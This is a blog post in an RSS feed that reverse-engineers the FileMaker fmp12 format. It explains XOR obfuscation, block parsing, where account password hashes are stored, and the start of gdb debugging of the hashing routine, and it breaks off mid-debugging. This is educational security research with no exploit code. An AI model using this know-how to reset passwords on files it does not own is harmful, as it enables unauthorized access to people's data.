<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Assembly on David Hamann</title><link>https://davidhamann.de/tags/assembly/</link><description>Recent content in Assembly on David Hamann</description><generator>Hugo</generator><language>en</language><copyright>&amp;copy; David Hamann</copyright><lastBuildDate>Mon, 17 Jun 2024 00:00:00 +0000</lastBuildDate><atom:link href="https://davidhamann.de/tags/assembly/feed.xml" rel="self" type="application/rss+xml"/><item><title>Exploring the fmp12 file format; or: what was my password again?</title><link>https://davidhamann.de/2024/06/17/how-does-filemaker-store-passwords/</link><pubDate>Mon, 17 Jun 2024 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2024/06/17/how-does-filemaker-store-passwords/</guid><description>&lt;h2 id="introduction"&gt;Introduction&lt;/h2&gt;
&lt;p&gt;I had been planning for a while to dive deeper into the fmp12 file format to explore how data is organized and how accounts and passwords are stored. A few months ago, I finally found the time to do it.&lt;/p&gt;
&lt;p&gt;The first thing I noticed was just how little information publicly exists about the file format and especially about account and password storage.&lt;/p&gt;
&lt;p&gt;The only information on the latter was that &amp;ldquo;a one-way hash&amp;rdquo; is used for storing passwords and that there are some password reset tools that – according to forums – might work but would also &amp;ldquo;damage&amp;rdquo; your file, without any further clarification.&lt;/p&gt;
&lt;p&gt;In my opinion this kind of knowledge shouldn&amp;rsquo;t only exist for password recovery tool vendors. If you invest a lot time and money into your fmp12 solution, you should know how much or how little local accounts/passwords protect distributed files and also what the reset tools actually do to your files.&lt;/p&gt;
&lt;p&gt;It should come to no surprise to some people that you can get around the password protection of unencrypted local files. However, I&amp;rsquo;ve also spoken to many people in the past who thought a password protected (local) fmp12 file is literally protected if you don&amp;rsquo;t have the password (i.e. you cannot get into the file to access the data or code).&lt;/p&gt;
&lt;p&gt;In June 2024, I gave a talk about this topic at the &lt;a href="https://www.dotfmp.berlin"&gt;dotfmp conference&lt;/a&gt;. This post will follow the general flow of the presentation. Just like in the talk, we start at the very beginning with some basics (I have also included the number base conversions to keep it complete).&lt;/p&gt;
&lt;p&gt;The following article does &lt;em&gt;not&lt;/em&gt; come with a proof-of-concept code to reset account passwords for fmp12 files, but it will give you an understanding of the protections in place.&lt;/p&gt;
&lt;p&gt;A disclaimer up front: all information presented in the following is based on my observations and some assumptions. As there is no open specification of the file format, we just have to accept that certain things cannot be fully confirmed.&lt;/p&gt;
&lt;p&gt;Also note that this is not a post about a vulnerability but rather an exploration into how things works internally in an fmp12 file. We are &lt;em&gt;not&lt;/em&gt; talking about accessing a remote file on FileMaker Server.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; If you have access to a local fmp12 file, account passwords can be reset. If you just want to read some data from a file, you obviously don&amp;rsquo;t even need an account/password. If you want to properly protect your local files, use the encryption at rest feature – it&amp;rsquo;s designed for exactly this.&lt;/p&gt;
&lt;h2 id="number-bases--radices-bits-and-bytes"&gt;Number bases / radices, bits and bytes&lt;/h2&gt;
&lt;p&gt;Over the course of this blog post we are going to look at a lot of raw byte values. Some values are better represented in binary or hexadecimal form.&lt;/p&gt;
&lt;p&gt;So let&amp;rsquo;s start with a quick refresher on how to read numbers in base 10, base 2 and base 16. If you deal with binary and hex values all the time, feel free to skip this section.&lt;/p&gt;
&lt;h3 id="base-10"&gt;Base 10&lt;/h3&gt;
&lt;p&gt;In everyday life we&amp;rsquo;re mostly using the base 10 numeral system. If you see the number 2024, you don&amp;rsquo;t think much about it because you&amp;rsquo;re used to working with decimal numbers.&lt;/p&gt;
&lt;p&gt;But let&amp;rsquo;s have a look at the formula that actually lets you compute the value from the individual digits of a decimal number:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;d3 d2 d1 d0
| | | |
| | | +-- The ones
| | +-- The tens
| +-- The hundreds
+-- The thousands
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In base 10 every digit can represent one of 10 values (0-9) and each of the digits contributes to the total value.&lt;/p&gt;
&lt;p&gt;The number 2024 can be represented like so:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;2 0 2 4
| | | |
| | | +-- The ones
| | +-- The tens
| +-- The hundreds
+-- The thousands
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So to get to two-thousand-twenty-four, we can just read what every place contributes and add these values together:&lt;/p&gt;
$$d_{N-1} \times 10^{N-1} + d_{N-2} \times 10^{N-2} + d_{N-3} \times 10^{N-3} + d_{N-4} \times 10^{N-4}$$$$d_{3} \times 10^3 + d_{2} \times 10^2 + d_{1} \times 10^1 + d_{0} \times 10^0$$$$2 \times 10^3 + 0 \times 10^2 + 2 \times 10^1 + 4 \times 10^0$$$$2 \times 1000 + 0 \times 100 + 2 \times 10 + 4 \times 1$$$$2000 + 0 + 20 + 4$$$$2024$$&lt;p&gt;As you will see in the following, the same formula also applies to other bases if the base value is swapped out accordingly.&lt;/p&gt;
&lt;h3 id="base-2"&gt;Base 2&lt;/h3&gt;
&lt;p&gt;In base 2 every digit can have one of two values, 0 or 1. Taking a sample value of &lt;code&gt;0b1101&lt;/code&gt; (decimal &lt;code&gt;13&lt;/code&gt;), we can compute the decimal value using the same steps as before:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;d3 d2 d1 d0
| | | |
| | | +-- The ones
| | +-- The twos
| +-- The fours
+-- The eights


1 1 0 1 = decimal 13
| | | |
| | | +-- The ones
| | +-- The twos
| +-- The fours
+-- The eights
&lt;/code&gt;&lt;/pre&gt;$$d_{N-1} \times 2^{N-1} + d_{N-2} \times 2^{N-2} + d_{N-3} \times 2^{N-3} + d_{N-4} \times 2^{N-4}$$$$d_{3} \times 2^3 + d_{2} \times 2^2 + d_{1} \times 2^1 + d_{0} \times 2^0$$$$1 \times 2^3 + 1 \times 2^2 + 0 \times 2^1 + 1 \times 2^0$$$$1 \times 8 + 1 \times 4 + 0 \times 2 + 1 \times 1$$$$8 + 4 + 0 + 1$$$$13$$&lt;div class="notice notice-info"&gt;
 Often times the prefix &lt;code&gt;0b&lt;/code&gt; is used to indicate that you&amp;rsquo;re looking at a binary number.
&lt;/div&gt;

&lt;h3 id="base-16"&gt;Base 16&lt;/h3&gt;
&lt;p&gt;Lastly, we have base 16, which will be the most used in the contents to follow. In base 16 we have 16 possible values for every digit, 0 to 15. The values from &lt;code&gt;10&lt;/code&gt; to &lt;code&gt;15&lt;/code&gt; are represented by letters &lt;code&gt;a&lt;/code&gt; to &lt;code&gt;f&lt;/code&gt;.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 Hexadecimal values are usually prefixed with &lt;code&gt;0x&lt;/code&gt;.
&lt;/div&gt;

&lt;p&gt;To get the decimal value from a hexadecimal number, we can follow the same steps as before, but use 16 as the base:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;d3 d2 d1 d0
| | | |
| | | +-- The ones
| | +-- The 16s
| +-- The 256s
+-- The 4096s


C A F E = 51966
| | | |
| | | +-- The ones
| | +-- The 16s
| +-- The 256s
+-- The 4096s
&lt;/code&gt;&lt;/pre&gt;$$d_{N-1} \times 16^{N-1} + d_{N-2} \times 16^{N-2} + d_{N-3} \times 16^{N-3} + d_{N-4} \times 16^{N-4}$$$$d_{3} \times 16^3 + d_{2} \times 16^2 + d_{1} \times 16^1 + d_{0} \times 16^0$$$$12 \times 16^3 + 10 \times 16^2 + 15 \times 16^1 + 14 \times 16^0$$$$12 \times 4096 + 10 \times 256 + 15 \times 16 + 14 \times 1$$$$49152 + 2560 + 240 + 14$$$$51966$$&lt;h3 id="bits-and-bytes"&gt;Bits and Bytes&lt;/h3&gt;
&lt;p&gt;As the last theoretical bit (pun not intended :-)), let&amp;rsquo;s have a look what is in a byte and how we can represent bytes in a clear way:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;1 byte = 8 bits = 256 possible values (0 to 255)

Example: 0b10000001 = 0x81 = 129
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;When dealing with 16, 32, or 64-bit values it quickly becomes impractical to use a base 2 or base 10 representation of values.&lt;/p&gt;
&lt;p&gt;Looking at just a 16-bit (2-byte) value, you can tell that 16 &lt;code&gt;0&lt;/code&gt;s and &lt;code&gt;1&lt;/code&gt;s are hard to make sense of (unless they are all the same). And in a decimal representation it&amp;rsquo;s hard to know how many bytes a number represents.&lt;/p&gt;
&lt;p&gt;But seeing the same value represented in hexadecimal, we can immediately spot that it&amp;rsquo;s two bytes (1 byte can be represented in two hex digits):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;0b1111111111111111 = 0xffff = 65535
16 bits = 2 bytes
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="the-fmp12-file-format"&gt;The fmp12 file format&lt;/h2&gt;
&lt;h3 id="visual-inspection-and-header"&gt;Visual inspection and header&lt;/h3&gt;
&lt;p&gt;Now that we&amp;rsquo;ve covered the theoretical background, let&amp;rsquo;s see how an fmp12 file actually looks like when examining the raw bytes of it:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; |----------- magic bytes -----------|--
00000000: 0001 0000 0002 0001 0005 0002 0002 c048 ...............H
 format--|
00000010: 4241 4d37 0000 1000 0000 0000 0000 0000 BAM7............
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000000a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
...
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As is common for many formats, the file begins with a &lt;a href="https://en.wikipedia.org/wiki/List_of_file_signatures"&gt;magic byte-sequence&lt;/a&gt; signature. This is followed by what appears to be the internal name of the format: HBAM7.&lt;/p&gt;
&lt;p&gt;If we were to look at an encrypted file the format would say &lt;code&gt;HBAMe&lt;/code&gt; and the rest of the file would by, well, encrypted.&lt;/p&gt;
&lt;p&gt;A quick glance at the file also reveals its organization into 4-kilobyte blocks. Before each multiple of 4096 bytes we see a bunch of null bytes (&lt;code&gt;0x00&lt;/code&gt;) as the blocks are usually not completely filled.&lt;/p&gt;
&lt;h3 id="helpful-resources"&gt;Helpful resources&lt;/h3&gt;
&lt;p&gt;As noted earlier, there are very few online resources about fmp12. However, the following three were valuable for kickstarting the process of understanding the file format:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=e9z4PL6QdzQ"&gt;Under the Hood: The Draco Engine - Clay Maeckel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=rrNNralTks8"&gt;Under the Hood: Draco Database by Clay Maeckel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/evanmiller/fmptools"&gt;fmptools, code + docs (op codes), Evan Miller&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The first two are DevCon talks which give a few insights about how FileMaker Pro/Server logically organizes files. The third, &lt;code&gt;fmptools&lt;/code&gt;, is a repository containing C code to parse and extract table data from fmp12 (and older) files and does a great job &lt;a href="https://github.com/evanmiller/fmptools/blob/main/HACKING"&gt;documenting&lt;/a&gt; many of the byte-codes used in the payloads of the 4K blocks.&lt;/p&gt;
&lt;p&gt;If you want to get familiar with the format I highly recommend starting by writing a parser yourself and implementing the codes documented in this repository.&lt;/p&gt;
&lt;h3 id="block-structure"&gt;Block structure&lt;/h3&gt;
&lt;p&gt;The 4096 byte blocks in the file are organized as a doubly linked list, meaning each block knows the ID of the previous and next block.&lt;/p&gt;
&lt;p&gt;This information (and other meta data, e.g. if a block was deleted or not) is stored in the first few bytes of every block.&lt;/p&gt;
&lt;p&gt;So by parsing the block header, we can determine the offset to which we need to jump next in the file.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; |prev ID| |next ID|
00001000: 0000 0000 0000 0000 0000 0043 0001 0de7 ...........C....
 |- beginning of payload ----
00001010: 0000 0894 1b00 0100 0000 0220 0220 8703 ........... . ..
 -- cont. until end of block---------...
00001020: 0300 0000 41c3 0600 0000 4220 88c3 0100 ....A.....B ....
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="payload"&gt;Payload&lt;/h3&gt;
&lt;p&gt;The payload in each block consists of a sequence of bytes, beginning with a code that describes the following data chunk or the operation to be performed.&lt;/p&gt;
&lt;p&gt;The op-codes &lt;code&gt;0x40&lt;/code&gt; (POP) and &lt;code&gt;0x20&lt;/code&gt; (PUSH) are used for constructing path information, such that the application reading the file is able to address the individual pieces of data later on.&lt;/p&gt;
&lt;p&gt;The data chunks we are interested in for the purpose of figuring out the account and password storage are mostly the key-value pairs (examples to follow). Be aware, though, that we have to have knowledge about all byte-codes in a payload of a block to be able to parse that block in its entirety.&lt;/p&gt;
&lt;p&gt;Examining a number of sample files yourself, you will likely notice that there are more than just the byte-codes documented in the &lt;a href="https://github.com/evanmiller/fmptools/blob/main/HACKING"&gt;fmptools repository&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;When encountering a new/unknown code, there are two options: you could either try to reverse-engineer it or skip processing the rest of the payload and move on to the next block. For the purpose of learning about accounts and passwords it&amp;rsquo;s generally OK to skip ahead as long as the unknown codes don&amp;rsquo;t appear in the same block as the information we are interested in.&lt;/p&gt;
&lt;h2 id="encoding-of-data-and-payload-examples"&gt;Encoding of data, and payload examples&lt;/h2&gt;
&lt;p&gt;When you start exploring a file format and have an application at hand that can write data in that format, one of the easiest experiments you can do is to let the application write a known string into the file and see how that string is represented.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s say we were to open an fmp12 file and chose the name &lt;code&gt;AAAAAA&lt;/code&gt; for a field, a script, an account name or anything else. Observing how the file changes once that name is committed would give us a clue on a) where the data is stored in the file, and b) how the data is stored.&lt;/p&gt;
&lt;p&gt;If you perform this experiment, you will quickly notice that the plaintext &lt;code&gt;AAAAAA&lt;/code&gt; does not appear anywhere in the file. Instead, each byte you enter is stored in a transformed (but predictable) manner. The six &lt;code&gt;A&lt;/code&gt;s do not appear as six instances of &lt;code&gt;0x41&lt;/code&gt; (decimal 65, the ASCII code for capital A) but rather as &lt;code&gt;0x1b&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Why &lt;code&gt;0x1b&lt;/code&gt;? It turns out that all the data in fmp12 files is XORed with the byte &lt;code&gt;0x5a&lt;/code&gt; – I assume just for a little obfuscation.&lt;/p&gt;
&lt;p&gt;How would you find the XOR byte? You just try out all possible byte values and see which one gives you back &lt;code&gt;0x41&lt;/code&gt; (&lt;code&gt;A&lt;/code&gt;) again.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s have look at a short example of the bitwise XOR operation in case you are not familiar with it.&lt;/p&gt;
&lt;h3 id="xor-example"&gt;XOR example&lt;/h3&gt;
&lt;p&gt;We established that &lt;code&gt;0x1b ^ 0x5a = 0x41 = 65 = A&lt;/code&gt; (the caret denoting the XOR operator).&lt;/p&gt;
&lt;p&gt;XOR stands for &amp;ldquo;exclusive or&amp;rdquo; and the result of the operation is only true (1), if the two given inputs differ.&lt;/p&gt;
&lt;p&gt;And since we are performing a bit-wise operation, our inputs to XOR are the individual bits of the bytes.&lt;/p&gt;
&lt;p&gt;Sticking with the example from above, this looks like follows:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;0b00011011 ^ 0b01011010 = 0b01000001

00011011 &amp;lt;== 0x1b
01011010 &amp;lt;== 0x5a
--------
01000001 &amp;lt;== 0x41
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Going back to the formula from the very beginning, we can see that \(2^6 + 2^0 = 65\), and 65 is again the ASCII code for &amp;ldquo;A&amp;rdquo;.&lt;/p&gt;
&lt;h3 id="key-value-example"&gt;Key-value example&lt;/h3&gt;
&lt;p&gt;Let&amp;rsquo;s now look at an example of a data chunk inside a payload.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;0x06 0x10 0x05 0x1b 0x3e 0x37 0x33 0x34
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In this case &lt;code&gt;0x06&lt;/code&gt; would be the code for a key-value pair.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;0x10&lt;/code&gt; would be the key, and &lt;code&gt;0x05&lt;/code&gt; the length of the data for this key.&lt;/p&gt;
&lt;p&gt;Looking at the next 5 bytes (length), we have &lt;code&gt;0x1b 0x3e 0x37 0x33 0x34&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Performing an XOR operation with each byte and the constant &lt;code&gt;0x5a&lt;/code&gt; as explained above, we get:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;0x1B ^ 0x5A = 0x41, 0x3E ^ 0x5A = 0x64, ..., 0x34 ^ 0x5A = 0x6E
0x41 = ASCII &amp;#34;A&amp;#34;, 0x64 = &amp;#34;d&amp;#34;, ... 0x6E = &amp;#34;n&amp;#34;
&amp;#34;Admin&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So the example above would store the string &lt;code&gt;Admin&lt;/code&gt; with key &lt;code&gt;0x10&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id="path-operation-example"&gt;Path operation example&lt;/h3&gt;
&lt;p&gt;As mentioned before, the payload also contains op-codes for &lt;code&gt;PUSH&lt;/code&gt; and &lt;code&gt;POP&lt;/code&gt; operations. Let&amp;rsquo;s look at an example and assume the current path is &lt;code&gt;17.1&lt;/code&gt; (arbitrary for this example):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;0x40 0x40 0x20 0x17 0x80 0x20 0x01 0x80 0x20 0x01
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We start by looking at the first byte, determine it&amp;rsquo;s a &lt;code&gt;POP&lt;/code&gt; operation and thus pop off the &lt;code&gt;1&lt;/code&gt; of our example path, leaving only &lt;code&gt;17&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Another &lt;code&gt;POP&lt;/code&gt; operation (second byte) also pops off the &lt;code&gt;17&lt;/code&gt;, leaving us with an empty path.&lt;/p&gt;
&lt;p&gt;The third byte is the op-code for a &lt;code&gt;PUSH&lt;/code&gt; operation with the value &lt;code&gt;0x17&lt;/code&gt;. So we push &lt;code&gt;0x17&lt;/code&gt;, or &lt;code&gt;23&lt;/code&gt; in decimal, onto the path (not to be confused with the decimal &lt;code&gt;17&lt;/code&gt; in the beginning).&lt;/p&gt;
&lt;p&gt;The fourth byte is a &lt;code&gt;NOP&lt;/code&gt;, a no-operation instruction. Thus, nothing changes.&lt;/p&gt;
&lt;p&gt;Then, we continue with another &lt;code&gt;PUSH&lt;/code&gt; of the value &lt;code&gt;1&lt;/code&gt;, meaning our path becomes &lt;code&gt;23.1&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We continue in the same way as before and eventually arrive at a path of &lt;code&gt;23.1.1&lt;/code&gt;. Here is a list of the instructions in less verbose form:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;0x40: POP one off path -&amp;gt; 17
0x40: POP one off path -&amp;gt; empty
0x20 0x17: PUSH 0x17 -&amp;gt; 23
0x80: NOP -&amp;gt; 23
0x20 0x01: PUSH 0x01 -&amp;gt; 23.1
0x80: NOP -&amp;gt; 23.1
0x20 0x01: PUSH 0x01 -&amp;gt; 23.1.1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If the key-value pair from the previous example would follow, it would have the path &lt;code&gt;23.1.1.16&lt;/code&gt; (16, or &lt;code&gt;0x10&lt;/code&gt;, being the key).&lt;/p&gt;
&lt;h2 id="how-do-we-get-to-the-accounts"&gt;How do we get to the accounts?&lt;/h2&gt;
&lt;p&gt;With the information given so far we are able to write a simpler parser for any fmp12 file (assuming we have knowledge of all byte-codes used in the file).&lt;/p&gt;
&lt;p&gt;How does this help us learn more about the stored accounts and passwords? We can open a few sample files and check where account names, such as &lt;code&gt;Admin&lt;/code&gt;, are stored, then note down their path (we know the account names to search for as we are parsing our own files).&lt;/p&gt;
&lt;p&gt;What we find is that account information is generally stored at path &lt;code&gt;23.1.5.N&lt;/code&gt;, where &lt;code&gt;N&lt;/code&gt; is the account number. So the first account would be in &lt;code&gt;23.1.5.1&lt;/code&gt;, the second account in &lt;code&gt;23.1.5.2&lt;/code&gt;, and so on. The parent path &lt;code&gt;23.1.5&lt;/code&gt; always stays the same.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 Note that you don&amp;rsquo;t need any account/password if all you want is to read some data from a file. But we want to find out how much accounts protect a local file from being accessed the &amp;ldquo;normal&amp;rdquo; way and if passwords can easily be reset.
&lt;/div&gt;

&lt;p&gt;Where exactly is the name stored and what else is &amp;ldquo;nearby&amp;rdquo;? Let&amp;rsquo;s have a look at a chunk of a payload:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[...]

00008190: 020e fc03 0908 9fa1 5b80 0596 6aa0 4020 ........[...j.@
000081a0: 0280 0604 1005 407c dc76 b7f1 fd29 ac5a ......@|.v...).Z
000081b0: 9c79 1af6 b806 063b 0104 72b2 e83c 04a8 .y.....;..r..&amp;lt;..
000081c0: bd2b fe3c bc1f 3d1f 0b69 df8e 93c6 542e .+.&amp;lt;..=..i....T.
000081d0: 4786 01b0 5d26 1d38 cead d523 0fc1 62a5 G...]&amp;amp;.8...#..b.
000081e0: 6dfa e831 7a99 0ad9 82a8 8efe 9a83 92a5 m..1z...........
000081f0: 0e71 3f06 0a09 089f a15b 8005 9674 3002 .q?......[...t0.
00008200: 0b01 0106 1005 1b3e 3733 3420 5d80 2800 .......&amp;gt;734 ].(.
00008210: 0080 2011 8020 1880 4040 4040 06d8 1071 .. .. ..@@@@...q

[...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Let&amp;rsquo;s add some color to better identify the byte-codes (red), the arguments/keys/lengths (green) and the actual data (blue). The account name &amp;ldquo;Admin&amp;rdquo; (XORed) is highlighted in blue.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Account information in payload" loading="lazy" src="https://davidhamann.de/images/fmp12-account-storage.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Parsing this payload would look something like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(Current path 23.1.5.1)

0x40 (POP)
0x20 (PUSH) 0x2
Path is now 23.1.5.2

0x06 (Key Value) with key 0x04 and length 0x10 (16 bytes)
Path 23.1.5.2.4 ==&amp;gt; 05407cdc76b7f1fd29ac5a9c791af6b8

0x06 (Key Value) with key 0x06 and length 0x3b (59 bytes)
Path 23.1.5.2.6 ==&amp;gt; 010472b2e83c04a8bd2bfe3cbc...e9a8392a50e713f

0x06 (Key Value) with key 0x0a and length 0x09 (9 bytes)
Path 23.1.5.2.10 ==&amp;gt; 089fa15b8005967430

0x02 (Key Value) with key 0x0b and a length of 2 bytes
Path 23.1.5.2.11 ==&amp;gt; 0101

0x06 (Key Value) with key 0x10 and length 0x05 (5 bytes)
Path 23.1.5.2.16 ==&amp;gt; 1b3e373334 ===&amp;gt; (&amp;#34;Admin&amp;#34; XORed with 0x5a)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;By looking at the values while performing account changes (for example via FileMaker Pro) we can draw some conclusions and make assumptions.&lt;/p&gt;
&lt;p&gt;The account name is always stored with key &lt;code&gt;16&lt;/code&gt; or &lt;code&gt;0x10&lt;/code&gt;, and XORed with &lt;code&gt;0x5a&lt;/code&gt; (just like the other data).&lt;/p&gt;
&lt;p&gt;The value at key &lt;code&gt;0x04&lt;/code&gt; (&lt;code&gt;05407cdc76b7f1fd29ac5a9c791af6b8&lt;/code&gt;) has a fixed length of 16 bytes and the value completely changes when changing an account password (or other account information for that matter). Given the length of 16 bytes and its behavior, we can make the assumption that this could potentially be an MD5 hash.&lt;/p&gt;
&lt;p&gt;The 59-byte long value at key &lt;code&gt;0x06&lt;/code&gt; (&lt;code&gt;010472b2e83c04a8bd2bfe3cbc...e9a8392a50e713f&lt;/code&gt;) also changes when we change an account password. Two things stand out here, though: the length always changes (even for the same password), and the first byte is always &lt;code&gt;0x01&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Hint: for the rest of this blog post we will mostly talk about these two values (key &lt;code&gt;0x04&lt;/code&gt; and &lt;code&gt;0x06&lt;/code&gt;).&lt;/p&gt;
&lt;h2 id="what-to-do-with-this-information"&gt;What to do with this information?&lt;/h2&gt;
&lt;p&gt;To make further progress, we have three options:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Continue to make slight changes to the file via FileMaker Pro, and observe how these changes are represented in the file&lt;/li&gt;
&lt;li&gt;Open the file with any kind of application designed to read fmp12 files (e.g. FileMaker Pro, Server, FMMigrationTool, &amp;hellip;), attach a debugger and read some assembly code&lt;/li&gt;
&lt;li&gt;Just YOLO it, start changing some bytes in the file and see what happens 🤞&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;As professionals, we obviously choose option 3 ;-)&lt;/p&gt;
&lt;p&gt;So what happens when we, for example, just change the account name at path &lt;code&gt;23.1.5.2.16&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;Can we still open the file?&lt;/p&gt;
&lt;p&gt;&lt;img alt="Tamper alert" loading="lazy" src="https://davidhamann.de/images/tamper-alert.png"&gt;&lt;/p&gt;
&lt;p&gt;I guess that&amp;rsquo;s what you get when you change stuff without really knowing what&amp;rsquo;s up :-)&lt;/p&gt;
&lt;h2 id="lessons-learned-so-far"&gt;Lessons learned so far&lt;/h2&gt;
&lt;p&gt;We might not have succeeded yet, but the failures and observations gave us new insight:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If we modify an account name, we get a tamper alert&lt;/li&gt;
&lt;li&gt;If we modify any of the potential hashes nearby, we get a tamper alert&lt;/li&gt;
&lt;li&gt;If we modify a buch of other stuff in the file, we get a tamper alert&lt;/li&gt;
&lt;li&gt;Given the above points, we can assume that there&amp;rsquo;s likely a checksum of all the account information&lt;/li&gt;
&lt;li&gt;We learned that accounts generally have the same parent path &lt;code&gt;23.1.5&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;We learned that the 16-byte value at key &lt;code&gt;0x04&lt;/code&gt; has a fixed length and changes when the password is changed&lt;/li&gt;
&lt;li&gt;We learned that the 59-byte value at key &lt;code&gt;0x06&lt;/code&gt; has a variable length and changes when the password is changed (with the exception of the first byte, which is always &lt;code&gt;0x01&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="time-for-some-debugging"&gt;Time for some debugging&lt;/h2&gt;
&lt;p&gt;It seems, to make progress, we have to see what is actually going on (what algorithm is used? is there a salt value? &amp;hellip;) in a program that can read fmp12 files.&lt;/p&gt;
&lt;p&gt;As explained in last year&amp;rsquo;s post about deciphering the &lt;a href="https://davidhamann.de/2023/05/29/deciphering-the-filemaker-keystore/"&gt;FileMaker keystore&lt;/a&gt;, the easiest way to find a starting point of where to look inside the program is to dump the symbol table and then set breakpoints at interesting locations of the program.&lt;/p&gt;
&lt;p&gt;We will use &lt;code&gt;gdb&lt;/code&gt; as the debugger and the &lt;code&gt;FMDataMigration&lt;/code&gt; tool as the target. Being able to pass an account name and password directly on the command line is more convenient than debugging a UI application (FileMaker Pro).&lt;/p&gt;
&lt;p&gt;As target for the migration tool we choose any sample file of which we know the account and password. Launching the debugger could look like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;gdb --args FMDataMigration -src_path /path/to/source/test.fmp12 -src_account Admin -src_pwd whatever -clone_path /path/to/clone/test\ Clone.fmp12 -clone_account Admin -clone_pwd whatever -target_path /path/to/migrated/test.fmp12 -force
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Note that we pass &lt;code&gt;Admin&lt;/code&gt; as account name, and &lt;code&gt;whatever&lt;/code&gt; as password.&lt;/p&gt;
&lt;h2 id="figuring-out-the-password-hash"&gt;Figuring out the password hash&lt;/h2&gt;
&lt;p&gt;Looking at the known function names (dumping symbols), we can note down everything that could be related to password hashing/reading/writing, then set breakpoints at these locations.&lt;/p&gt;
&lt;p&gt;One very obvious function to start with is &lt;code&gt;Draco::PasswordHash::ComputePasswordHash&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We can set a breakpoint, then (for every call) look up the arguments passed to the function and then see if we can make sense of any of them (for example, if the values also show up in the fmp12 file).&lt;/p&gt;
&lt;p&gt;I debugged the application on a Linux machine on x86_64, so based on the &lt;a href="https://refspecs.linuxfoundation.org/elf/x86_64-abi-0.99.pdf"&gt;calling conventions&lt;/a&gt; the first arguments are generally passed in registers &lt;code&gt;rdi&lt;/code&gt;, &lt;code&gt;rsi&lt;/code&gt;, &lt;code&gt;rdx&lt;/code&gt;, &lt;code&gt;rcx&lt;/code&gt;, &lt;code&gt;r8&lt;/code&gt; and &lt;code&gt;r9&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id="values-passed-to-computepasswordhash"&gt;Values passed to ComputePasswordHash&lt;/h3&gt;
&lt;p&gt;Once a breakpoint has been triggered, we can look at the register values:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) info reg

rcx 0x7ffff75529e0 # static known string (starts with &amp;#34;File&amp;#34; :-))

rdx 0xa # length of value of address pointed to by rsi (10 bytes)

rsi 0x7fffffffa0d9 # points to value we saw at path 23.1.5.2.6
